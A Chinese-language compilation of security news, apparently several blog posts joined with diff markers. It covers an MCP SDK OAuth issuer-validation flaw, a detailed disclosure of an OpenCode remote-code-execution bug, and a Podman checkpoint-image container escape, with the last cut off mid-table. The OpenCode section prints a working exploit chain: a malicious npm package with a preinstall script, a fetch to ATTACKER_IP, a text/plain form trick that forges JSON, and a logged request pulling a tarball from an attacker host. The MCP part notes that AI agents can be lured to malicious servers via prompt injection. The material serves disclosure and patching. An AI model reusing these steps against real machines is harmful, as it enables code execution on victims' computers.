问题一：未严格校验 OAuth issuer
|
||||
|
||||
|
||||
OAuth 配置本应来自可信身份提供商，但在漏洞场景下，SDK 信任了 MCP 服务器直接下发的元数据。攻击者因此可以冒用真实授权服务器的配置，却把令牌请求导向恶意端点。
|
||||
|
||||
|
||||
|
||||
问题二：客户端凭据与 PKCE 保护被绕过
|
||||
|
||||
|
||||
攻击成功后，恶意服务器可能获取到：
|
||||
|
||||
- 授权码（Authorization Code）
|
||||
|
||||
- 客户端密钥（Client Secret）
|
||||
|
||||
- PKCE Code Verifier
|
||||
|
||||
|
||||
其中，PKCE 的设计目的之一，正是防止攻击者在仅窃取授权码的情况下完成令牌交换。但在本次攻击中，恶意服务器同时拿到了授权码和 PKCE 校验信息，因此可以直接向真实身份提供商完成交换，骗取有效访问令牌。
|
||||
|
||||
PKCE 能提升授权码流程安全性，但前提是令牌交换环节没有被恶意端点接管。如果客户端本身把敏感信息发给攻击者控制的服务器，PKCE 也难以完全保护流程。
|
||||
|
||||
|
||||
|
||||
|
||||
**受影响范围：多个 OAuth 提供者均存在风险**
|
||||
|
||||
|
||||
本次事件影响范围并不单一，多个 OAuth 提供者都可能被波及：
|
||||
|
||||
- OAuthClientProvider
|
||||
|
||||
- ClientCredentialsOAuthProvider
|
||||
|
||||
- PrivateKeyJWTOAuthProvider
|
||||
|
||||
- 旧版部署中的 RFC7523OAuthClientProvider
|
||||
|
||||
|
||||
其中，交互式 OAuth 提供者风险等级为6.5，因为仍需用户参与登录；而机器对机器类提供者风险等级达到7.5，因为无需用户交互，攻击可能更隐蔽。
|
||||
|
||||
|
||||
|
||||
|
||||
**哪些场景更危险？**
|
||||
|
||||
|
||||
AI Agent 环境面临的风险尤其值得关注。
|
||||
|
||||
|
||||
如果模型能够自主选择 MCP 服务器，而系统又缺少严格的服务器校验和权限边界，那么攻击者就可能通过恶意 Registry、仿冒插件、提示注入或网络欺骗，把 AI Agent 引导到恶意服务上。一旦成功，攻击者可能长期持有有效令牌，进而访问用户或企业授权过的资源。
|
||||
|
||||
|
||||
|
||||
|
||||
**官方修复建议：立即升级并补齐 issuer 校验**
|
||||
|
||||
|
||||
目前，官方已发布修复版本。开发者应尽快完成以下处理：
|
||||
|
||||
|
||||
1. 升级 SDK
|
||||
|
||||
|
||||
- 1.x 分支：升级到1.30.0
|
||||
|
||||
- 2.x 分支：升级到2.2.0
|
||||
|
||||
|
||||
修复版本已加强对授权服务器 `issuer` 的校验，并会拒绝来自预期之外提供商的元数据。
|
||||
|
||||
|
||||
|
||||
2. 显式配置 expected issuer
|
||||
|
||||
|
||||
对于使用 ClientCredentialsOAuthProvider 或 PrivateKeyJWTOAuthProvider 的系统，除升级外，还应通过 issuer= 参数明确配置预期的身份提供商。
|
||||
|
||||
|
||||
|
||||
3. 清理历史凭据并评估泄露风险
|
||||
|
||||
|
||||
如果应用在修复前已经连接过不可信的 MCP 服务器，建议立即采取以下措施：
|
||||
|
||||
- 清除旧的 OAuth 注册信息
|
||||
|
||||
- 轮换客户端密钥
|
||||
|
||||
- 撤销可能暴露的令牌
|
||||
|
||||
- 审计相关访问日志和异常行为
|
||||
|
||||
|
||||
本次事件再次说明，AI Agent 生态的安全风险并不只来自模型本身，也来自工具调用、插件接入和身份认证链路中的信任边界。
|
||||
|
||||
|
||||
一个看似正常的第三方登录页面，并不能证明背后的 OAuth 流程是安全的。真正可靠的认证体系，必须建立在严格的 issuer 校验、端点认证、权限最小化和异常行为检测之上。
|
||||
|
||||
|
||||
对于企业而言，尤其需要对 AI Agent 的工具接入策略进行梳理：哪些服务器允许连接、哪些 OAuth 提供者值得信任、哪些操作涉及高权限数据，都应被纳入统一的安全治理范围。
|
||||
|
||||
|
||||
资讯来源： Cybersecurity News / Cycode 相关技术披露与安全公告
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**球分享**
|
||||
|
||||
|
||||
|
||||
**球点赞**
|
||||
|
||||
|
||||
|
||||
**球在看**
|
||||
|
||||
@@ -0,0 +1,471 @@
|
||||
# OpenCode 曝远程代码执行漏洞：一个 Content-Type 混淆如何变成 RCE
|
||||
幻泉之洲 2026-09-30 02:05
|
||||
|
||||
>
|
||||
|
||||
|
||||
OpenCode 是 2025 年 6 月发布的开源 AI 编码代理，官网称其 GitHub star 已超 20 万，月活用户 1600 万。开发方是 Anomaly。
|
||||
|
||||
这篇文章要讲的，是我们在 OpenCode 里发现的远程代码执行（RCE）漏洞 GHSA-632h-h47v-g4x4。问题出在 /global/upgrade
|
||||
接口的 Content-Type 混淆上——它把一个底层的代码注入缺陷变得可以实际利用。OpenCode 1.18.22 修复了该漏洞。
|
||||
|
||||
先确认自己是否受影响，往下看"如何判断你是否受影响"一节。
|
||||
|
||||
|
||||
|
||||
▲ OpenCode 远程代码执行攻击流程（点击放大）
|
||||
>
|
||||
|
||||
## OpenCode 和它的 Web 界面
|
||||
|
||||
OpenCode 是个开源 AI 编码代理，和 Claude Code、Codex、Pi 是同类产品。开发者可以用 Anthropic、OpenRouter 等服务商的模型，也可以跑本地模型。
|
||||
|
||||
|
||||
|
||||
▲ OpenCode 终端界面（点击放大）
|
||||
|
||||
它还自带一个 Web 界面，可以在浏览器里跑编码会话。
|
||||
|
||||
|
||||
|
||||
▲ OpenCode Web UI（点击放大）
|
||||
|
||||
运行 opencode serve
|
||||
就能启动这个界面，等价的 opencode web
|
||||
命令还会顺便在默认浏览器里打开它。
|
||||
|
||||
$ opencode web
|
||||
|
||||
|
||||
! OPENCODE_SERVER_PASSWORD is not set; server is unsecured.
|
||||
|
||||
Web interface: http://127.0.0.1:4096/
|
||||
|
||||
Web 界面默认不需要认证。但开发者可以开启 basic 认证——把 OpenCode 暴露到网络上时，这一步尤其重要：
|
||||
|
||||
OPENCODE_SERVER_PASSWORD=whySoSerious opencode web
|
||||
|
||||
|
||||
|
||||
▲ OpenCode 的 basic 认证（点击放大）
|
||||
|
||||
浏览器会缓存 basic 认证的凭据，所以 OpenCode 不会在每个请求上都要求输入密码。具体行为取决于浏览器和版本，但现代浏览器在主进程运行期间会一直缓存。
|
||||
## 怎么利用这个漏洞拿到 RCE
|
||||
|
||||
攻击者只需要两样东西：一个恶意 npm 包 tarball，和一个网页。
|
||||
|
||||
第一步，把恶意 npm 包放在公开 URL 上。包可以极简，只要一个 package.json
|
||||
，通过 preinstall
|
||||
脚本执行恶意代码：
|
||||
|
||||
{
|
||||
|
||||
"name": "opencode-ai",
|
||||
|
||||
"version": "1.0.0",
|
||||
|
||||
"description": "",
|
||||
|
||||
"scripts": {
|
||||
|
||||
"preinstall": "open /System/Applications/Calculator.app && id > /tmp/opencode-rce"
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
然后打成 tarball：
|
||||
|
||||
tar -czf opencode-malicious.tgz malicious-package/
|
||||
|
||||
最后，托管一个网页，向 http://127.0.0.1:4096/global/upgrade
|
||||
发一个顶层跨域请求：
|
||||
|
||||
document.forms[0].submit()
|
||||
|
||||
当运行着有漏洞版本 OpenCode 的用户访问这个网页时，preinstall
|
||||
脚本就会在那台机器上执行。
|
||||
|
||||
下面的视频展示了从 1.18.21 版本用户视角看到的利用过程。
|
||||
## 漏洞的定位和利用细节
|
||||
|
||||
opencode serve
|
||||
启动的 API 里有个 upgrade 端点，作用是把 OpenCode 升级到最新版或指定版本：
|
||||
|
||||
POST /global/upgrade HTTP/1.1
|
||||
|
||||
Host: 127.0.0.1:4096
|
||||
|
||||
Content-Type: text/plain
|
||||
|
||||
|
||||
{"target":"1.18.1"}
|
||||
|
||||
下面这个 TypeScript 函数实现了 upgrade 端点：
|
||||
|
||||
upgrade: Effect.fn("Installation.upgrade")(function* (m: Method, target: string) {
|
||||
|
||||
let upgradeResult: { code: number; stdout: string; stderr: string } | undefined
|
||||
|
||||
switch (m) {
|
||||
|
||||
case "curl":
|
||||
|
||||
upgradeResult = yield* upgradeCurl(target)
|
||||
|
||||
break
|
||||
|
||||
case "npm":
|
||||
|
||||
upgradeResult = yield* run(["npm", "install", "-g", `opencode-ai@${target}`])
|
||||
|
||||
break
|
||||
|
||||
case "pnpm":
|
||||
|
||||
upgradeResult = yield* run(["pnpm", "install", "-g", `opencode-ai@${target}`])
|
||||
|
||||
break
|
||||
|
||||
case "bun":
|
||||
|
||||
upgradeResult = yield* run(["bun", "install", "-g", `opencode-ai@${target}`])
|
||||
|
||||
break
|
||||
|
||||
...
|
||||
|
||||
如果用户是通过 npm、pnpm 或 Bun 安装的 OpenCode，服务端会用 child_process.spawn()
|
||||
跑这样一条命令：
|
||||
|
||||
npm install -g opencode-ai@VERSION
|
||||
|
||||
# VERSION 是未经校验的用户输入
|
||||
|
||||
问题就在这里。npm 的包描述规范既接受 1.18.1
|
||||
这样的语义化版本号，也接受远程 tarball 作为安装目标。也就是说，攻击者可以塞进任意 URL。npm 会乖乖去攻击者控制的服务器上把包拉下来装上。
|
||||
|
||||
要实现远程代码执行，攻击者只需要造一个带 preinstall
|
||||
生命周期脚本的包：
|
||||
|
||||
mkdir -p malicious-package
|
||||
|
||||
cat > malicious-package/package.json <<'EOF'
|
||||
|
||||
...
|
||||
|
||||
EOF
|
||||
|
||||
tar -czf opencode-malicious.tgz malicious-package
|
||||
## 跨域利用：浏览器帮了攻击者什么忙
|
||||
|
||||
直接发 HTTP 请求需要能访问到 OpenCode 服务端，而它通常只监听 127.0.0.1。但恶意网页可以借受害者的浏览器去够到本机服务。
|
||||
### 先看浏览器的跨域保护
|
||||
|
||||
攻击者大概会先用 JavaScript 试一发：
|
||||
|
||||
fetch("http://127.0.0.1:4096/global/upgrade", {
|
||||
|
||||
method: "POST",
|
||||
|
||||
headers: {
|
||||
|
||||
"Content-Type": "application/json",
|
||||
|
||||
},
|
||||
|
||||
body: JSON.stringify({
|
||||
|
||||
target: "http://ATTACKER_IP/opencode-malicious.tgz",
|
||||
|
||||
}),
|
||||
|
||||
})
|
||||
|
||||
浏览器通过 CORS 限制跨域 fetch()
|
||||
。因为这里用了 application/json
|
||||
，浏览器会先发一个预检请求，问端点是否允许该来源、方法和头：
|
||||
|
||||
OPTIONS /global/upgrade HTTP/1.1
|
||||
|
||||
Access-Control-Request-Headers: content-type
|
||||
|
||||
Access-Control-Request-Method: POST
|
||||
|
||||
Host: 127.0.0.1:4096
|
||||
|
||||
Origin: http://attacker:4444
|
||||
|
||||
Referer: http://attacker:4444/
|
||||
|
||||
只有服务端返回匹配的 Access-Control-Allow-Origin
|
||||
、Access-Control-Allow-Methods
|
||||
、Access-Control-Allow-Headers
|
||||
，浏览器才会往下走。OpenCode API 对 http://attacker:4444
|
||||
不返回 Access-Control-Allow-Origin
|
||||
，所以浏览器不会发出那个 POST：
|
||||
|
||||
HTTP/1.1 204 No Content
|
||||
|
||||
Access-Control-Allow-Methods: GET, HEAD, PUT, PATCH, POST, DELETE
|
||||
|
||||
Vary: Access-Control-Request-Headers
|
||||
|
||||
Access-Control-Allow-Headers: content-type
|
||||
|
||||
|
||||
|
||||
▲ Chrome 开发者工具显示请求被拦截（点击放大）
|
||||
|
||||
即使某个 API 允许跨域，现代浏览器还有第二道防线。Chrome 142、Firefox 151、Edge 143 引入的 Local Network Access，会在页面跨域访问 localhost 或解析到 localhost 的主机名之前弹窗询问用户。
|
||||
|
||||
|
||||
|
||||
▲ Web 应用跨域访问本地 URL 时，Local Network Access 会弹窗提示（点击放大）
|
||||
|
||||
但 CORS 和 Local Network Access 按设计都不拦截顶层导航。攻击者正是靠这个，从恶意网页够到本机的 OpenCode 服务。
|
||||
### 用顶层导航发一个恶意 POST
|
||||
|
||||
HTML 表单可以通过顶层导航提交 POST。要看懂怎么构造这个表单，先得看 OpenCode 怎么解析请求体。src/server/routes/instance/httpapi/handlers/global.ts
|
||||
里的控制器有这么一段逻辑：
|
||||
|
||||
function parseBody(body: string) {
|
||||
|
||||
try {
|
||||
|
||||
return JSON.parse(body || "{}") as unknown
|
||||
|
||||
} catch {
|
||||
|
||||
return undefined
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
export const globalHandlers = HttpApiBuilder.group(RootHttpApi, "global", (handlers) =>
|
||||
|
||||
Effect.gen(function* () {
|
||||
|
||||
const upgradeRaw = Effect.fn("GlobalHttpApi.upgradeRaw")(function* (ctx: {
|
||||
|
||||
request: HttpServerRequest.HttpServerRequest
|
||||
|
||||
}) {
|
||||
|
||||
const body = yield* Effect.orDie(ctx.request.text)
|
||||
|
||||
const json = parseBody(body)
|
||||
|
||||
if (json === undefined) {
|
||||
|
||||
return HttpServerResponse.jsonUnsafe({ success: false, error: "Invalid request body" }, { status: 400 })
|
||||
|
||||
}
|
||||
|
||||
const payload = yield* Schema.decodeUnknownEffect(GlobalUpgradeInput)(json).pipe(
|
||||
|
||||
Effect.map((payload) => ({ valid: true as const, payload })),
|
||||
|
||||
Effect.catch(() => Effect.succeed({ valid: false as const })),
|
||||
|
||||
)
|
||||
|
||||
if (!payload.valid) {
|
||||
|
||||
return HttpServerResponse.jsonUnsafe({ success: false, error: "Invalid request body" }, { status: 400 })
|
||||
|
||||
}
|
||||
|
||||
const result = yield* upgrade({ payload: payload.payload }) // 这行就是代码注入的入口
|
||||
|
||||
return HttpServerResponse.jsonUnsafe(result.body, { status: result.status })
|
||||
|
||||
})
|
||||
|
||||
|
||||
return handlers
|
||||
|
||||
.handleRaw("upgrade", upgradeRaw)
|
||||
|
||||
})
|
||||
|
||||
GlobalUpgradeInput
|
||||
的定义只有一个 target
|
||||
字段：
|
||||
|
||||
export const GlobalUpgradeInput = Schema.Struct({
|
||||
|
||||
target: Schema.optional(Schema.String),
|
||||
|
||||
})
|
||||
|
||||
upgradeRaw
|
||||
期望 JSON，所以它会拒绝标准 HTML 表单提交——默认的 application/x-www-form-urlencoded
|
||||
类型对不上：
|
||||
|
||||
document.forms[0].submit()
|
||||
|
||||
表单会发出这样的请求，然后收到错误：
|
||||
|
||||
POST /global/upgrade HTTP/1.1
|
||||
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
Host: 127.0.0.1:4096
|
||||
|
||||
Origin: http://attacker:4444
|
||||
|
||||
|
||||
target=http%3A%2F%2FATTACKER_IP%2Fopencode-malicious.tgz
|
||||
|
||||
HTTP/1.1 400 Bad Request
|
||||
|
||||
Content-Type: application/json
|
||||
|
||||
Date: Wed, 23 Sep 2026 11:35:12 GMT
|
||||
|
||||
Content-Length: 48
|
||||
|
||||
|
||||
{"success":false,"error":"Invalid request body"}
|
||||
|
||||
HTML 表单的 enctype
|
||||
不支持 application/json
|
||||
。剩下的选项里，multipart/form-data
|
||||
生不出合法 JSON，那就只剩 text/plain
|
||||
了。
|
||||
|
||||
关键在于：upgradeRaw
|
||||
直接拿 body 当 JSON 解析，压根不检查 Content-Type 是不是 application/json
|
||||
。只要 body 是合法 JSON，text/plain
|
||||
的表单提交它照样收。
|
||||
|
||||
当浏览器用 enctype="text/plain"
|
||||
提交表单时，请求体长这样：
|
||||
|
||||
param1=value1
|
||||
|
||||
param2=value2
|
||||
|
||||
...
|
||||
|
||||
浏览器不会对参数名和值做转义或 URL 编码。于是我们可以构造出能拼成合法 JSON 的参数名和值：
|
||||
- 参数名：{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"
|
||||
|
||||
- 参数值："}
|
||||
|
||||
浏览器会在名字和值中间插一个等号，拼出下面这段合法 JSON：
|
||||
|
||||
|
||||
|
||||
▲ 浏览器在参数名和值之间插入等号，恰好拼出合法 JSON（点击放大）
|
||||
|
||||
最终的表单是这样：
|
||||
|
||||
document.forms[0].submit()
|
||||
|
||||
受害者一访问网页，浏览器就以顶层导航的方式发出这个跨域 POST 请求。有漏洞的 OpenCode 端点会接受它：
|
||||
|
||||
POST /global/upgrade HTTP/1.1
|
||||
|
||||
Content-Type: text/plain
|
||||
|
||||
Host: 127.0.0.1:4096
|
||||
|
||||
Origin: http://165.227.82.252:4444
|
||||
|
||||
Pragma: no-cache
|
||||
|
||||
Referer: http://165.227.82.252:4444/
|
||||
|
||||
|
||||
{"target":"http://165.227.82.252/opencode-malicious.tgz","x":"="}
|
||||
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
|
||||
Content-Type: application/json
|
||||
|
||||
Date: Wed, 23 Sep 2026 11:48:15 GMT
|
||||
|
||||
Content-Length: 73
|
||||
|
||||
|
||||
{"success":true,"version":"http://165.227.82.252/opencode-malicious.tgz"}
|
||||
## 官方是怎么修的
|
||||
|
||||
PR #44686 在 2026 年 8 月 24 日以 commit c6e76e9 合并，修掉了漏洞。补丁同时处理了两个问题：把升级目标限制成语义化版本，以及强制校验请求的 Content-Type。
|
||||
|
||||
第一处，GlobalUpgradeInput
|
||||
现在只接受合法的语义化版本号：
|
||||
|
||||
- export const GlobalUpgradeInput = Schema.Struct({
|
||||
|
||||
- target: Schema.optional(Schema.String),
|
||||
|
||||
- })
|
||||
|
||||
+ export const GlobalUpgradeInput = Schema.Struct({
|
||||
|
||||
+ target: Schema.String.check(
|
||||
|
||||
+ Schema.makeFilter((value) => (semver.valid(value) === null ? "Expected a semantic version" : undefined)),
|
||||
|
||||
+ ),
|
||||
|
||||
+ })
|
||||
|
||||
第二处，补丁用 handle
|
||||
替换了 Effect 的 handleRaw
|
||||
。handle
|
||||
会先看 Content-Type 头，再据此解码请求体，从根上堵住了服务端的 Content-Type 混淆：
|
||||
|
||||
- .handleRaw("upgrade", upgradeRaw)
|
||||
|
||||
+ .handle("upgrade", upgrade)
|
||||
|
||||
OpenCode 1.18.22 会用一个"不支持的媒体类型"响应打发掉恶意跨域请求：
|
||||
|
||||
HTTP/1.1 415 Unsupported Media Type
|
||||
|
||||
Content-Type: text/plain
|
||||
|
||||
Date: Wed, 23 Sep 2026 12:48:47 GMT
|
||||
|
||||
Content-Length: 36
|
||||
|
||||
|
||||
Unsupported content-type: text/plain
|
||||
## 影响面有多大
|
||||
|
||||
受影响的是 1.14.30 到 1.18.21 版本，且必须是通过 npm、pnpm 或 Bun 安装的。
|
||||
|
||||
看公开的 npm 数据，这 82 个受影响版本在 2026 年 9 月 17 日到 23 日之间被下载了 64.7 万次以上。这个数字看不出有多少独立用户或机器，也看不出其中有多少人在跑 opencode serve
|
||||
或 opencode web
|
||||
。
|
||||
|
||||
|
||||
|
||||
▲ 2026 年 9 月 17–23 日，OpenCode 下载量中有 38.9% 来自受影响版本（点击放大）
|
||||
## 如何判断你是否受影响
|
||||
|
||||
只有下面三个条件同时成立，漏洞才可被利用：
|
||||
- 你用的 OpenCode 版本在 1.14.30 到 1.18.21 之间（含两端）。
|
||||
|
||||
- 你运行 opencode serve
|
||||
或 opencode web
|
||||
时没设密码认证，或者浏览器刚缓存过认证凭据。
|
||||
|
||||
- 你是通过 npm、pnpm 或 Bun 安装的。跑 ls -l "$(command -v opencode)"
|
||||
可以确认安装方式。
|
||||
|
||||
## 时间线
|
||||
<table><thead><tr><th><section><span leaf="">日期</span></section></th><th><section><span leaf="">事件</span></section></th></tr></thead><tbody><tr><td><section><span leaf="">2026 年 4 月 29 日</span></section></td><td><section><span leaf="">PR #24853 引入有漏洞的代码路径</span></section></td></tr><tr><td><section><span leaf="">2026 年 4 月 30 日</span></section></td><td><section><span leaf="">OpenCode v1.14.30 成为首个受影响版本</span></section></td></tr><tr><td><section><span leaf="">2026 年 8 月 11 日</span></section></td><td><section><span leaf="">Datadog Security Labs 发现漏洞</span></section></td></tr><tr><td><section><span leaf="">2026 年 8 月 11 日</span></section></td><td><section><span leaf="">Datadog Security Labs 通过 GitHub Security Advisories 报告（GHSA-632h-h47v-g4x4）</span></section></td></tr><tr><td><section><span leaf="">2026 年 8 月 24 日</span></section></td><td><section><span leaf="">Anomaly 提交修复 PR #44686</span></section></td></tr><tr><td><section><span leaf="">2026 年 8 月 24 日</span></section></td><td><section><span leaf="">Anomaly 合并 PR #44686</span></section></td></tr><tr><td><section><span leaf="">2026 年 8 月 24 日</span></section></td><td><section><span leaf="">Anomaly 发布含修复的 OpenCode v1.18.22</span></section></td></tr><tr><td><section><span leaf="">2026 年 8 月 24 日</span></section></td><td><section><span leaf="">应 Anomaly 要求，Datadog Security Labs 推迟一个月公布</span></section></td></tr><tr><td><section><span leaf="">2026 年 9 月 24 日</span></section></td><td><section><span leaf="">Datadog Security Labs 发布本文，Anomaly 发布 GHSA-632h-h47v-g4x4 公告</span></section></td></tr></tbody></table>
|
||||
感谢 Anomaly 团队在整个过程中保持开放沟通，并在收到报告后迅速完成了修复。
|
||||
### 参考资料
|
||||
|
||||
[1]
|
||||
https://securitylabs.datadoghq.com/articles/opencode-upgrade-remote-code-execution/
|
||||
|
||||
@@ -0,0 +1,226 @@
|
||||
# Podman曝CVSS 10.0严重容器逃逸漏洞(CVE-2026-94603)，恶意镜像可绕过沙箱限制
|
||||
原创 tuto
|
||||
tuto 杂杂咱谈 2026-09-30 03:23
|
||||
|
||||
## 一、漏洞概述
|
||||
|
||||
Podman被披露存在严重安全漏洞CVE-2026-94603，CVSS v3评分达到10.0(Critical)。漏洞与Podman支持的容器Checkpoint镜像恢复机制有关，攻击者可通过构造恶意容器镜像，使其在执行podman run时控制容器的创建参数。
|
||||
|
||||
该漏洞的核心问题在于当Podman识别到镜像包含特定的Checkpoint注释后，会将其视为Checkpoint镜像，并在恢复容器时
|
||||
忽略用户指定的部分安全限制
|
||||
。
|
||||
|
||||
例如，管理员在运行容器时通过--cap-drop删除全部Linux Capabilities，但恶意Checkpoint镜像可以使这些用户指定的限制被忽略，并按照镜像自身保存的配置创建容器。如果镜像携带完整Capabilities等高权限配置，攻击者可能进一步削弱容器隔离机制，增加容器逃逸及主机受影响的风险。
|
||||
|
||||
该功能最早于
|
||||
Podman 4.4.0
|
||||
引入。目前尚无已确认的在野利用或公开PoC。官方已通过移除相关Checkpoint功能进行修复。
|
||||
## 二、技术细节
|
||||
### 1. 漏洞根因
|
||||
|
||||
CVE-2026-94603漏洞源于Podman的
|
||||
OCI容器Checkpoint镜像恢复功能
|
||||
。
|
||||
|
||||
Podman 4.4.0开始支持将容器Checkpoint通过OCI Registry进行共享，并可以通过podman run恢复Checkpoint容器。
|
||||
|
||||
正常情况下，用户可以通过运行参数控制容器的安全边界，例如：
|
||||
```
|
||||
--cap-drop=all
|
||||
```
|
||||
|
||||
用于删除容器的Linux Capabilities。
|
||||
|
||||
但Checkpoint并不仅仅保存容器文件系统，同时还记录了
|
||||
容器创建和运行所需的配置状态
|
||||
，其中包括Capabilities等安全相关参数。
|
||||
|
||||
当Podman检测到镜像包含特定的Checkpoint Annotation：
|
||||
```
|
||||
io.podman.annotations.checkpoint.runtime.name
|
||||
```
|
||||
|
||||
后，会将其作为Checkpoint镜像处理。
|
||||
|
||||
问题在于，旧版本Podman在恢复此类镜像时，会
|
||||
忽略用户提供的部分容器创建参数
|
||||
，转而使用Checkpoint中保存的配置。
|
||||
|
||||
因此形成以下安全边界问题：
|
||||
```
|
||||
用户安全配置
|
||||
│
|
||||
├── --cap-drop=all
|
||||
│
|
||||
▼
|
||||
Podman run
|
||||
│
|
||||
│ 检测到Checkpoint Annotation
|
||||
▼
|
||||
Checkpoint恢复逻辑
|
||||
│
|
||||
X 忽略部分用户配置
|
||||
│
|
||||
▼
|
||||
使用镜像自身的容器配置
|
||||
│
|
||||
▼
|
||||
恶意镜像控制容器运行方式
|
||||
```
|
||||
|
||||
这意味着原本由管理员设置的容器安全限制可能无法按照预期生效。
|
||||
### 2. 攻击流程
|
||||
|
||||
攻击者可以通过以下方式构造攻击链：
|
||||
```
|
||||
攻击者
|
||||
│
|
||||
▼
|
||||
构造恶意Checkpoint镜像
|
||||
│
|
||||
├── 设置Checkpoint Annotation
|
||||
├── 保存高权限Capabilities
|
||||
└── 保存特定容器运行配置
|
||||
│
|
||||
▼
|
||||
上传至OCI Registry
|
||||
│
|
||||
▼
|
||||
诱导目标主机拉取并执行镜像
|
||||
│
|
||||
▼
|
||||
podman run
|
||||
│
|
||||
▼
|
||||
Podman识别Checkpoint镜像
|
||||
│
|
||||
▼
|
||||
忽略用户指定的安全限制
|
||||
│
|
||||
▼
|
||||
按照恶意镜像配置启动容器
|
||||
│
|
||||
▼
|
||||
容器隔离机制被削弱
|
||||
│
|
||||
▼
|
||||
进一步尝试容器逃逸 / 影响宿主机
|
||||
```
|
||||
|
||||
其中最关键的一点是
|
||||
镜像能够影响Podman最终如何创建和运行容器。
|
||||
|
||||
这破坏了传统容器运行模型中管理员通过命令行参数决定安全边界的假设。
|
||||
### 3. 漏洞影响
|
||||
|
||||
成功利用该漏洞后，恶意镜像可能绕过管理员设置的部分安全限制，包括：
|
||||
- --cap-drop等Capabilities限制;
|
||||
- 部分容器隔离配置；
|
||||
|
||||
- 用户预期的运行时安全参数；
|
||||
|
||||
- 容器沙箱边界。
|
||||
|
||||
如果攻击者构造的恶意Checkpoint镜像包含高权限Capabilities，则可能进一步扩大容器内部权限，并在存在其他容器逃逸条件的情况下影响宿主机。
|
||||
|
||||
因此，该漏洞的主要风险为：
|
||||
> 恶意镜像 → 覆盖用户安全配置 → 容器权限提升 → 削弱沙箱隔离 → 潜在容器逃逸
|
||||
|
||||
|
||||
目前公开信息并未确认该漏洞已经在野利用，也没有确认存在公开可直接实现宿主机接管的PoC。
|
||||
## 三、受影响版本
|
||||
|
||||
该Checkpoint功能从
|
||||
Podman 4.4.0
|
||||
开始引入，因此：
|
||||
<table><thead><tr><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">Podman版本</span></span></section></th><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">状态</span></span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><code><span leaf=""><span textstyle="" style="font-size: 16px">< 4.4.0</span></span></code></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">不受该Checkpoint功能影响</span></span></section></td></tr><tr><td style="text-align: left;"><code><span leaf=""><span textstyle="" style="font-size: 16px">4.4.0及以上</span></span></code></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">受影响</span></span></section></td></tr><tr><td style="text-align: left;"><code><span leaf=""><span textstyle="" style="font-size: 16px">5.x</span></span></code></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">受影响，需升级至5.8.8+</span></span></section></td></tr><tr><td style="text-align: left;"><code><span leaf=""><span textstyle="" style="font-size: 16px">6.x</span></span></code></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">受影响，需升级至6.1.3+</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">5.8.8</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">已修复</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">6.1.3</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">已修复</span></span></section></td></tr></tbody></table>
|
||||
官方通过
|
||||
移除相关Checkpoint镜像运行功能
|
||||
解决该问题，因此升级后的podman run将不再支持此类Checkpoint镜像。
|
||||
## 四、漏洞信息
|
||||
<table><thead><tr><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">项目</span></span></section></th><th style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">信息</span></span></section></th></tr></thead><tbody><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">漏洞编号</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">CVE-2026-94603</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">产品</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">Podman</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">漏洞类型</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">容器隔离绕过 / 沙箱限制绕过</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">CVSS</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">10.0 (Critical)</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">影响功能</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">OCI Checkpoint镜像恢复</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">引入版本</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">4.4.0</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">受影响版本</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">4.4.0及以上未修复版本</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">修复版本</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; font-weight: 500">5.8.8 / 6.1.3</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">核心问题</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">恶意镜像可控制容器创建配置</span></span></section></td></tr><tr><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px">公开PoC</span></span></section></td><td style="text-align: left;"><section><span leaf=""><span textstyle="" style="font-size: 16px; 